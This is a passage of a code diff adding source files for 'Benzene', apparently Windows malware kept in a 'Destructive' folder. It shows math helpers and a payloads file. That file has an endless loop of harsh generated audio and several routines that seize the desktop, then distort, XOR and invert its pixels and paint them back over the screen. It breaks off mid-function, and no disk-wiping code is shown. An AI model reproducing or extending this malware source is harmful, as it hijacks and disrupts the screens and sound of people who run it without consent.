+	INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
+	return pfSinVals[ i % _countof( pfSinVals ) ];
+}
+
+FLOAT
+FastCosine(
+	_In_ FLOAT f
+)
+{
+	return FastSine( f + PI / 2.f );
+}
+
+VOID
+InitializeSine( VOID )
+{
+	for ( INT i = 0; i < _countof( pfSinVals ); i++ )
+		pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
+}

src/Benzene-main/Destructive/Benzene/math.h

@@ -0,0 +1,33 @@
+#pragma once
+#include "benzene.h"
+
+#define PI 3.141592f
+
+VOID
+SeedXorshift32(
+	_In_ DWORD dwSeed
+);
+
+DWORD
+Xorshift32( VOID );
+
+VOID
+Reflect2D(
+	_Inout_ PINT x,
+	_Inout_ PINT y,
+	_In_ INT w,
+	_In_ INT h
+);
+
+VOID
+InitializeSine( VOID );
+
+FLOAT
+FastSine(
+	_In_ FLOAT f
+);
+
+FLOAT
+FastCosine(
+	_In_ FLOAT f
+);

src/Benzene-main/Destructive/Benzene/payloads.c

@@ -0,0 +1,1918 @@
+#include "benzene.h"
+
+VOID
+WINAPI
+AudioPayloadThread(VOID)
+{
+	for (;; )
+	{
+		INT piOrder[SYNTH_LENGTH];
+		INT nRandIndex;
+		INT nNumber;
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			piOrder[i] = i;
+		}
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			nRandIndex = Xorshift32() % 18;
+			nNumber = piOrder[nRandIndex];
+			piOrder[nRandIndex] = piOrder[i];
+			piOrder[i] = nNumber;
+		}
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			ExecuteAudioSequence(
+				pAudioSequences[i].nSamplesPerSec,
+				pAudioSequences[i].nSampleCount,
+				pAudioSequences[i].pAudioSequence,
+				pAudioSequences[i].pPreAudioOp,
+				pAudioSequences[i].pPostAudioOp);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequenceThread(
+	_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
+)
+{
+	ExecuteAudioSequence(
+		pAudioParams->nSamplesPerSec,
+		pAudioParams->nSampleCount,
+		pAudioParams->pAudioSequence,
+		pAudioParams->pPreAudioOp,
+		pAudioParams->pPostAudioOp);
+}
+
+VOID
+WINAPI
+ExecuteAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_In_ AUDIO_SEQUENCE pAudioSequence,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
+)
+{
+	HANDLE hHeap = GetProcessHeap();
+	PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
+	WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
+	WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
+	HWAVEOUT hWaveOut;
+	waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
+
+	if (pPreAudioOp)
+	{
+		pPreAudioOp(nSamplesPerSec);
+	}
+
+	pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
+
+	if (pPostAudioOp)
+	{
+		pPostAudioOp(nSamplesPerSec);
+	}
+
+	waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
+	waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
+
+	Sleep(nSampleCount * 1000 / nSamplesPerSec);
+
+	while (!(waveHdr.dwFlags & WHDR_DONE))
+	{
+		Sleep(1);
+	}
+
+	waveOutReset(hWaveOut);
+	waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
+	HeapFree(hHeap, 0, psSamples);
+}
+
+VOID
+WINAPI
+AudioSequence1(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
+		FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
+		psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
+			(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence2(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence3(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
+	for (INT z = 0; z < nCubeRoot; z++)
+	{
+		for (INT y = 0; y < nCubeRoot; y++)
+		{
+			for (INT x = 0; x < nCubeRoot; x++)
+			{
+				INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
+				if (nIndex >= nSampleCount)
+					continue;
+
+				INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
+				psSamples[nIndex] =
+					(SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
+					(SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
+					(SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
+						(nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
+			}
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence4(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
+		psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence5(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
+		psSamples[t] = sFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence6(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence7(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence8(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	SHORT sRand = (SHORT)Xorshift32();
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nRand = (nSampleCount - t * 2) / 52;
+		if (nRand < 24)
+			nRand = 24;
+		if (!(Xorshift32() % nRand))
+		{
+			sRand = (SHORT)Xorshift32();
+		}
+		psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
+			& ~sRand | ((SHORT)Xorshift32() >> 2) +
+			(SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
+			(SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence9(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
+			psSamples[nIndex] =
+				(SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence10(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
+		BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence11(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence12(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
+			(SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence13(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
+			((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence14(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
+			psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence15(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
+			psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence16(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
+			psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence17(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
+		FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
+		psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
+			(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
+	}
+}
+
+
+VOID
+WINAPI
+AudioSequence18(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
+			psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
+		}
+	}
+}
+
+VOID
+WINAPI
+FinalAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
+	for (INT z = 0; z < nCubeRoot; z++)
+	{
+		for (INT y = 0; y < nCubeRoot; y++)
+		{
+			for (INT x = 0; x < nCubeRoot; x++)
+			{
+				INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
+				if (nIndex >= nSampleCount)
+					continue;
+
+				INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
+				psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
+			}
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShaderThread(
+	_In_ PGDISHADER_PARAMS pGdiShaderParams
+)
+{
+	if (pGdiShaderParams->pGdiShader == GdiShader3)
+	{
+		nShaderThreeSeed = Xorshift32();
+	}
+
+	ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
+		pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
+}
+
+VOID
+WINAPI
+ExecuteGdiShader(
+	_In_ HDC hdcDst,
+	_In_ RECT rcBounds,
+	_In_ INT nTime,
+	_In_ INT nDelay,
+	_In_ GDI_SHADER pGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
+)
+{
+	BITMAPINFO bmi = { 0 };
+	PRGBQUAD prgbSrc, prgbDst;
+	HANDLE hHeap;
+	HDC hdcTemp;
+	HBITMAP hbmTemp;
+	SIZE_T nSize;
+	INT nWidth;
+	INT nHeight;
+
+	nWidth = rcBounds.right - rcBounds.left;
+	nHeight = rcBounds.bottom - rcBounds.top;
+	nSize = nWidth * nHeight * sizeof(COLORREF);
+
+	bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
+	bmi.bmiHeader.biBitCount = 32;
+	bmi.bmiHeader.biPlanes = 1;
+	bmi.bmiHeader.biWidth = nWidth;
+	bmi.bmiHeader.biHeight = nHeight;
+
+	hHeap = GetProcessHeap();
+	prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
+
+	hdcTemp = CreateCompatibleDC(hdcDst);
+	hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
+	SelectObject(hdcTemp, hbmTemp);
+
+	for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
+	{
+		if (pPreGdiShader == NULL)
+		{
+			BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
+		}
+		else
+		{
+			pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
+		}
+
+		RtlCopyMemory(prgbSrc, prgbDst, nSize);
+
+		pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
+
+		if (pPostGdiShader == NULL)
+		{
+			BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
+		}
+		else
+		{
+			pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
+		}
+
+		if (nDelay)
+		{
+			Sleep(nDelay);
+		}
+	}
+
+	HeapFree(hHeap, 0, prgbSrc);
+	DeleteObject(hbmTemp);
+	DeleteDC(hdcTemp);
+}
+
+VOID
+WINAPI
+GdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 1.f;
+	FLOAT a = FastSine(div) * 10.f;
+	FLOAT b = FastCosine(div) * 5.f;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a, v = y + (INT)b;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.r += ~prgbSrc[y * w + x].r / 82;
+			rgbDst.g += ~prgbSrc[y * w + x].g / 12;
+			rgbDst.b += ~prgbSrc[y * w + x].b / 22;
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 256))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader2(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 40.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT div = (FLOAT)t / 2.f;
+			FLOAT a = FastSine(div + _y) * 50.f;
+			FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
+
+			u = x + (INT)a, v = y + (INT)b;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[y * w + u];
+
+			DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
+			if (!rgb)
+			{
+				rgb = 1;
+			}
+
+			rgbDst.rgb /= rgb;
+			if (!rgbDst.rgb)
+			{
+				rgbDst.rgb = 0xFFFFFF;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader2(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 16))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader3(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	HSLCOLOR hsl;
+	FLOAT _t = (FLOAT)t / 15.f;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 45.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = FastCosine(_y + _t) * 36.f;
+
+			u = x + (INT)a, v = y;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			FLOAT f = 1.f / 2.f;
+			FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
+			FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
+			FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
+
+			rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
+			prgbDst[y * w + x] = HSLToRGB(hsl);
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader3(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	INT x, y;
+	HPEN hpenBall;
+
+	BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+
+	t += nShaderThreeSeed;
+	x = t * 16;
+	y = t * 16;
+
+	for (INT i = 64; i > 8; i -= 8)
+	{
+		hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
+
+		SelectObject(hdcDst, hpenBall);
+		Reflect2D(&x, &y, w, h);
+		Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
+		DeleteObject(hpenBall);
+	}
+}
+
+VOID
+WINAPI
+GdiShader4(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	FLOAT _t = (FLOAT)t / 540.f;
+	FLOAT a = (FLOAT)t / 39.f;
+	FLOAT b = FastSine(a) * _t;
+	FLOAT c = FastCosine(a) * _t;
+	FLOAT centerX = (FLOAT)w / 50;
+	FLOAT centerY = (FLOAT)h / 100;
+
+	while (b < 5.f)
+	{
+		b += PI * 3.f;
+	}
+
+	while (c < 4.f)
+	{
+		c += PI * 4.f;
+	}
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
+			v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			if ((t / 21) % 2)
+			{
+				rgbDst.rgb = ~rgbDst.rgb;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader5(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			INT a = 5000;
+			INT b = 5000;
+
+			u = ~((a + t) & y);
+			v = ~((b + t) & x);
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader4(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	UNREFERENCED_PARAMETER(hdcDst);
+	UNREFERENCED_PARAMETER(hdcTemp);
+
+	BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+
+	if (!(t % 8))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+}
+
+VOID
+WINAPI
+GdiShader6(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 24.f;
+	FLOAT a = FastCosine(div) * 2.f * PI;
